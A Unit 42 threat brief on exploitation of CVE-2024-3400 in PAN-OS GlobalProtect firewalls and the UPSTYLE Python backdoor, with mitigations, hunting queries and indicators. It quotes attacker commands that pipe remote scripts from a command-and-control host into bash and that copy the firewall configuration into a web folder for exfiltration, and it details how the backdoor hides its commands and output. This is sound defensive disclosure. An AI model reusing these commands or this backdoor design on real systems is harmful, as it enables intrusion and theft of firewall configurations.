Threat Brief: Operation MidnightEclipse, Post-Exploitation Activity Related to CVE-2024-3400 (Updated May 1)

Unit 42 ⁝⁝ 4/12/2024

By Unit 42

April 12, 2024 at 10:00 AM

Category: Threat Brief, Threat Briefs and Assessments

Tags: Advanced Threat Prevention, Command Injection, Cortex XDR, Cortex Xpanse, Cortex XSIAM, CVE-2024-3400, MidnightEclipse, next-generation firewall, Prisma Access, Python

This post is also available in: 日本語 (Japanese)

Executive Summary

This threat brief is monitored daily and updated as new intelligence is available for us to share. The full update log is at the end of this post and offers the fullest account of all changes made.

Palo Alto Networks and Unit 42 are engaged in tracking activity related to CVE-2024-3400 and are working with external researchers, partners and customers to share information transparently and rapidly.

A critical command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. The vulnerability, assigned CVE-2024-3400, has a CVSS score of 10.0.

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both). This issue does not affect cloud firewalls (Cloud NGFW), Panorama appliances or Prisma Access.

For up-to-date information about affected products and versions, please refer to the Palo Alto Networks Security Advisory on this issue. Additionally, episode 21 of the Unit 42 podcast Threat Vector covers the discovery, technical details and exploitation of the vulnerability.

Palo Alto Networks is aware of an increasing number of attacks that leverage the exploitation of this vulnerability. Third parties have disclosed proofs of concept for this vulnerability. We are also aware of a proof of concept including post-exploit persistence techniques that survive resets and upgrades. We are not aware of any malicious attempts to use these persistence techniques in active exploitation of the vulnerability at this time.

We are tracking the initial exploitation of this vulnerability under the name Operation MidnightEclipse.

The section Current Scope of the Attack includes information on the types of exploitation activity we have seen, as well as their relative prevalence. The vast majority of cases that Unit 42 has responded to have been unsuccessful attempts to exploit the vulnerability and some compromises of PAN-OS that are limited to confirming that the device is exploitable.

Other cases have included the following activity:

- Limited attempts in which a file on the hard drive has been copied to a location accessible via a web request

- A very limited number of compromises that led to interactive command execution

This threat brief will cover information about the vulnerability and what we know about post-exploitation activity. We will share guidance to mitigate the vulnerability, though readers should also refer to the Security Advisory for specific product version information and remediation guidance. We will continue to update this threat brief as more information becomes available.

If you believe your firewall has been compromised, please reach out to Palo Alto Networks support.

This issue is fixed in hotfix releases of PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3 and all later PAN-OS versions. Hotfixes for other commonly deployed maintenance releases are also available.

A Knowledge Base article, How to Remedy CVE-2024-3400, is available in the Customer Support Portal.

As a matter of best practice, Palo Alto Networks recommends that you monitor your network for abnormal activity and investigate any unexpected network activity.

We would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity's blog for their analysis.

Palo Alto Networks customers receive protections from and mitigations for CVE-2024-3400 and malware used in post-exploitation activity in the following ways:

Customers with a Threat Prevention subscription can block attacks for this vulnerability using Threat ID 95187, 95189 and 95191 (available in Applications and Threats content version 8836-8695 and later). Our advisory has been updated with new Threat Prevention content updates for additional Threat Prevention IDs around CVE-2024-3400.

To apply the Threat IDs, customers must ensure that vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. Please see the relevant LIVEcommunity article for more information.

The Managed Threat Hunting section below includes XQL queries that can be used to search for signs of exploitation of this CVE.

Vulnerabilities Discussed CVE-2024-3400

Table of Contents

Details of the Vulnerability

A command injection vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both).

Palo Alto Networks is aware of targeted attacks that leverage this vulnerability. The next section covers details of the post-exploitation activity we've observed.

Current Scope of the Attack

Palo Alto Networks has classified observations of attempted exploitation into several levels, from Level 0 to Level 3. In all cases we recommend following the guidance in the Security Advisory.

Level 0: Probe – An unsuccessful exploitation attempt. Forensic artifacts indicate that the attempt was made to access the customer network, but the attacker did not actually succeed. Palo Alto Networks assesses there is likely *little to no* immediate impact of a Level 0 attempt.

Level 1: Test – The vulnerability was being tested on the device. A 0-byte file has been created and is resident on the firewall. However, there is no indication of any known unauthorized command execution.

Level 2: Potential Exfiltration – A file on the device has been copied to a location accessible via a web request, though the file may or may not have been subsequently downloaded. Typically, the file we have observed being copied is running_config.xml.

Level 3: Interactive Access – There are signs of interactive command execution. This may include shell-based backdoors, introduction of code, downloading files or running commands.

It is important to note that *the vast majority of cases that Unit 42 has responded to have been unsuccessful attempts to exploit the vulnerability and some Level 1 compromises of PAN-OS*. Other cases have included limited Level 2 and very limited Level 3 compromises of those targeted firewalls.

UPSTYLE and Cron Job Backdoor Activity

As part of the activity observed in Operation MidnightEclipse, the threat actor exploited CVE-2024-3400 to run commands on the firewall. We have determined that the threat actor initially intended to install a Python-based backdoor, which our colleagues at Volexity referred to as UPSTYLE.

We believe the threat actors created UPSTYLE specifically for this campaign. However, the threat actors were unsuccessful at installing UPSTYLE after three different exploit attempts. After the third failed attempt, the threat actor decided to install a cron job backdoor to carry out their post-exploitation activities.

After failing to install UPSTYLE, the threat actor was observed exploiting CVE-2024-3400 to run a handful of the commands on the firewall. The commands included copying configuration files to the web application folder and exfiltrating them via HTTP requests to those files.

The following IP address was seen attempting to access a specific configuration file copied to this folder, which we believe is a VPN used by the threat actor:

- 66.235.168[.]222

After gathering configuration files, the threat actor exploited the vulnerability to run the following command to receive additional commands from an external server in the form of a bash script:

- wget -qO- hxxp://172.233.228[.]93/patch|bash

We were unable to access the bash script hosted at this URL. However, shortly after we saw evidence of the creation of a cron job. This cron job would run every minute to access commands hosted on the same external server that would execute via bash, as seen in the following command:

- wget -qO- hxxp://172.233.228[.]93/policy | bash

We were unable to access the commands executed via this URL, but we believe this cron job-based backdoor was used to carry out the actor's post-exploitation activities.

While the threat actors were unable to install the UPSTYLE backdoor, it appears that they created it specifically for this campaign and planned on using it as the initial backdoor. Also, the reason the actors failed to install UPSTYLE included mistakes in the exploit attempts themselves, as well as trivial mistakes in the executed commands. While we have not seen UPSTYLE used in any other exploit attempts, it is possible that UPSTYLE could have been successfully installed on other devices.

As previously mentioned, the threat actors attempted three unsuccessful exploit attempts to run commands to install UPSTYLE. For two of these attempts, UPSTYLE was hosted at hxxp://144.172.79[.]92/update.py.

In the third exploit attempt, we saw the actor hosting the backdoor at nhdata.s3-us-west-2.amazonaws[.]com, which may suggest that the actors thought network-based protections caused the first two failed installation attempts. According to the following HTTP headers, it appears that the threat actor last modified UPSTYLE hosted at 144.172.79[.]92 on April 7, 2024:

```
Accept-Ranges: bytes
Content-Length: 5187
Content-Type: application/octet-stream
Date: Thu, 11 Apr 2024 16:12:16 GMT
Etag: "6612443d-1443"
Last-Modified: Sun, 07 Apr 2024 06:59:09 GMT
Server: nginx/1.18.0 (Ubuntu)
```

The update.py file hosted at 144.172.79[.]92 has a SHA256 value of 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac. This file is a backdoor that has multiple layers.

First, update.py writes another Python script to the following location:

- [snip]/site-packages/system.pth

The Python script written to system.pth Base64-decodes an embedded Python script and executes it. This embedded Python script has two functions named protect and check, which are called in that order.

The protect function sends a SIGTERM signal and writes the contents of the system.pth file back to itself, likely as a persistence mechanism. The check function will read /proc/self/cmdline to see if it is running as monitor mp before running another Base64 embedded Python script, which is the functional backdoor.

The Python script run by system.pth has a function named __main that will run in a thread. This function first reads the contents of the following file, along with its access and modified times:

- [snip]/css/bootstrap.min.css

It then enters an infinite loop that iterates once every two seconds, reading in the following file:

- [snip]/sslvpn_ngx_error.log

The script will then iterate through each line of the file and search the line for the threat actor's command using the following regular expression:

- img\[([a-zA-Z0-9+/=]+)\]

If the above regular expression matches, the script will Base64-encode the contents of the command and run it using the popen method within Python's OS module. The lines of the sslvpn_ngx_error.log file that do not match the regular expression are written back to the file, which essentially prunes the lines that contain commands from persisting in the sslvpn_ngx_error.log file for later analysis.

After running the command, the script writes the output of the command to the following file:

- [snip]/css/bootstrap.min.css

The script will then create another thread that runs a function called restore. The restore function takes the original content of the bootstrap.min.css file, as well as the original access and modified times, sleeps for 15 seconds and writes the original contents back to the file. It then sets the access and modified times back to their original values.

The point of this function is to avoid leaving the output of the commands available for analysis. Also, this suggests that the threat actor has automation built into the client side of this backdoor, as they only have 15 seconds to grab the results before the backdoor overwrites the file.

The use of legitimate log files to receive commands and a legitimate CSS file to exfiltrate the command results suggests that the threat actors developed this backdoor specifically to run on a compromised firewall.

Guidance

We strongly advise customers to immediately upgrade to a fixed version of PAN-OS to protect their devices even when workarounds and mitigations have been applied.

This issue is fixed in hotfix releases of PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3, and in all later PAN-OS versions.

Please see the frequently updated Palo Alto Networks Security Advisory on CVE-2024-3400 for information on hotfixes and the most current guidance for mitigating this vulnerability. A Knowledge Base article, How to Remedy CVE-2024-3400, is available in the Customer Support Portal.

In earlier versions of this advisory, disabling device telemetry was listed as a secondary mitigation action. Disabling device telemetry is no longer an effective mitigation. Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability.

Unit 42 Managed Threat Hunting Queries

The Unit 42 Managed Threat Hunting team continues to track any attempts to exploit this CVE across our customers, using Cortex XDR and the XQL queries below. Cortex XDR customers can also use these XQL queries to search for signs of exploitation.

```
// Description: Search for domain IOC in raw NGFW logs
dataset = panw_ngfw_url_raw
| filter url_domain ~= ".*nhdata.s3-us-west-2.amazonaws.com"

| fields _time, log_source_name, action, app, url_domain, uri, url_category, source_ip, source_port,
dest_ip, dest_port, protocol, rule_matched, rule_matched_uuid
```

```
// Description: Detect hits for the specific prevention signature for CVE-2024-3400
config case_sensitive = false
| dataset = panw_ngfw_threat_raw
| filter threat_id in (95187,95187,95191)
| fields _time, log_source_name, action, app_category, app_sub_category, threat_id, threat_name,
source_ip, source_port, dest_ip, dest_port, *
```

```
// Description: Hits for known IOCs in NGFW traffic
config case_sensitive = false
| dataset = panw_ngfw_traffic_raw
| filter source_ip in
("110.47.250.103","126.227.76.24","38.207.148.123","147.45.70.100","199.119.206.28","38.181.70.3","149.28.194.95","78.141.23
or dest_ip in
("110.47.250.103","126.227.76.24","38.207.148.123","147.45.70.100","199.119.206.28","38.181.70.3","149.28.194.95","78.141.23
| fields _time, log_source_name, action, action_source, app, bytes_sent, bytes_received, bytes_total, source_ip, source_port, des
```

```
// Description: Hits for known IOCs in XDR telemetry and NGFW telemetry (assuming proper integration of NGFW)
config case_sensitive = false
| dataset = xdr_data
| filter event_type = ENUM.STORY
| filter dst_action_external_hostname ~=".*nhdata.s3-us-west-2.amazonaws.com" OR
dns_query_name ~=".*nhdata.s3-us-west-2.amazonaws.com" OR
action_external_hostname ~=".*nhdata.s3-us-west-2.amazonaws.com" OR
action_remote_ip in
("110.47.250.103","126.227.76.24","38.207.148.123","147.45.70.100","199.119.206.28","38.181.70.3","149.28.194.95","78.141.23
| fields _time, agent_hostname, actor_process_image_name, action_local_ip, action_remote_ip, action_remote_port, dns_query_
```

Additional Exploitation Observations

While continuing to monitor efforts, we have observed additional IP addresses attempting to exploit CVE-2024-3400 based on our Threat Prevention signature with a Threat ID 95187.

We have not seen any relationships between these indicators and those associated with Operation MidnightEclipse. We have grouped the latter of these indicators exclusively to the activity involving exploitation of the zero-day vulnerability and the UPSTYLE backdoor.

As of writing this update, the following IP addresses have triggered the threat prevention signature:

- 110.47.250[.]103
- 126.227.76[.]24
- 38.207.148[.]123
- 147.45.70[.]100
- 199.119.206[.]28
- 38.181.70[.]3
- 149.28.194[.]95
- 78.141.232[.]174
- 38.180.128[.]159
- 64.176.226[.]203
- 38.180.106[.]167
- 173.255.223[.]159
- 38.60.218[.]153
- 185.108.105[.]110
- 146.70.192[.]174
- 149.88.27[.]212
- 154.223.16[.]34
- 38.180.41[.]251
- 203.160.86[.]91
- 45.121.51[.]2

From our analysis, we do not see any additional activity from these IP addresses outside probing the vulnerability to determine either if the firewall is vulnerable or compromised. We have seen the following commands within the exploit attempts that the threat prevention signature is blocking:

- touch [snip]/global-protect/index.css
- touch [snip]/global-protect/portal/css/test.min.css
- cp [snip]/running-config.xml [snip]/global-protect/[16 random characters].css

The commands above show two examples of the use of the touch command to create an empty file in the web application folder. The client would then attempt to access this file via an HTTP request to determine if exploitation was successful. The third command shows a bit more malicious behavior, which involves copying the running configuration to the web application folder for access.

We have also seen probing attempts that use either wget or curl to access remote servers that an external party would use the outbound HTTP request to determine successful exploitation and command execution:

- wget srgsd1f.842b727ba4.ipv6.1433.eu[.]org
- wget edcjn.57fe6f5d9d.ipv6.1433.eu[.]org
- curl srgsdf.842b727ba4.ipv6.1433.eu[.]org
- wget --no-check-certificate https://45.121.51[.]2/abc.txt

Conclusion

The Security Advisory will continue to provide up-to-date information on impacts to Palo Alto Networks products and recommended mitigations. We will continue to update this threat brief with information on exploitation.

Again, Palo Alto Networks would like to thank Volexity for finding this issue and their continuing coordination and partnership. Please reference Volexity's blog for their analysis.

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Protections and mitigations for the observed exploitation activity are below and will be updated as more become available.

Palo Alto Networks Product Protections for CVE-2024-3400

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

If you think you may have been compromised or have an urgent matter, get in touch with Palo Alto Networks support.

Next-Generation Firewalls and Prisma Access With Advanced Threat Prevention

Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block exploitation of CVE-2024-3400 via Threat Prevention signatures 95187, 95189 and 95191.

Cortex XDR, XSIAM and the Unified Cloud Agent

Cortex XDR and XSIAM agents and analytics help protect and detect against post-exploitation activity if an attacker tries to enumerate or laterally move to other assets.

Cortex Xpanse and XSIAM ASM Module

Cortex Xpanse has the ability to identify exposed Palo Alto Networks GlobalProtect devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the Palo Alto Networks GlobalProtect Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

Indicators of Compromise

UPSTYLE Backdoor

- 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
- 5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078

Command and Control Infrastructure

- 172.233.228[.]93
- hxxp://172.233.228[.]93/policy
- hxxp://172.233.228[.]93/patch
- 66.235.168[.]222

Hosted Python Backdoor

- 144.172.79[.]92
- nhdata.s3-us-west-2.amazonaws[.]com

Observed Commands

- wget -qO- hxxp://172.233.228[.]93/patch|bash
- wget -qO- hxxp://172.233.228[.]93/policy | bash
- "failed to unmarshal session(.\+.\/" mp-log gpsvc.log* (Please see our Security Advisory for further information on this command.)

Additional Resources

Update Log

- Updated April 12, 2024, at 10:15 a.m. PT to add Cortex XDR and XSIAM product protections, as well as Additional Resources.
- Updated April 12, 2024, at 12:45 a.m. PT to add Cortex Xpanse product protections.
- Updated April 14, 2024, at 11:05 a.m. PT to clarify impact on GlobalProtect portal configurations.
- Updated April 14, 2024, at 7:55 p.m. PT to reflect that hotfixes are in place and ETAs added in our Security Advisory for upcoming hotfixes.
- Updated April 15, 2024, at 8:35 a.m. PT to update exploitation activity in Executive Summary.
- Updated April 15, 2024, at 9:16 a.m. PT to update language on Threat ID 95187 in the Executive Summary, including information on firewalls managed by Panorama.
- Updated April 16, 2024, at 7:45 a.m. PT to add Additional Exploitation Observations section with IoCs and commands.
- Updated April 16, 2024, at 9:48 a.m. PT to remove update.py filename from list of indicators.
- Updated April 16, 2024, at 2:00 p.m. PT to update the Executive Summary and Mitigations section to add new mitigation guidance, a new Threat Prevention signature and availability of PAN-OS fixes.
- Updated April 16, 2024, at 2:40 p.m. PT to align the Executive Summary and Details of the Vulnerability sections more closely to the Security Advisory.
- Updated April 17, 2024, at 6:15 a.m. PT to add Threat ID 95191.
- Updated April 17, 2024, at 11:30 a.m. PT to add an additional bullet to the Observed Commands subsection.
- Updated April 17, 2024, at 12:23 p.m. PT to clarify contact information.
- Updated April 19, 2024, at 12:45 p.m. PT to heavily revise the Current Scope of Attack section as well the section on Operation MidnightEclipse activity (UPSTYLE and Cron Job Backdoor Activity).
- Updated April 22, 2024, at 3:15 p.m. PT to more thoroughly define the levels of activity seen in the Current Scope of the Attack section.
- Updated April 23, 2024, at 7:40 a.m. PT to add language to recommendations for Level 2 and Level 3 in Scope of Attack section. Clarified language in Guidance section. Added Update Log section.
- Updated Apr 24, 2024, at 7:10 a.m. PT to include a link to a Customer Support Portal Knowledge Base article.
- Updated April 24, 2024, at 6:15 p.m. PT to include updated XQL queries for hits for known IoCs in NGFW traffic and in XDR telemetry and NGFW telemetry.
- Updated April 25, 2024, at 8:00 a.m. PT to add Knowledge Base article to Additional Resources.
- Updated April 26, 2024, at 12:22 p.m. PT for clarity and consistency.
- Updated April 29, 2024, at 6:52 a.m. to add Unit 42 Threat Vector podcast on the vulnerability to Additional Resources.
- Updated April 29, 2024, at 11:55 a.m. PT to update exploitation status about proof of concept by third parties of post-exploit persistence techniques.
- Updated May 1, 2024, at 8:05 a.m. PT for clarity and consistency.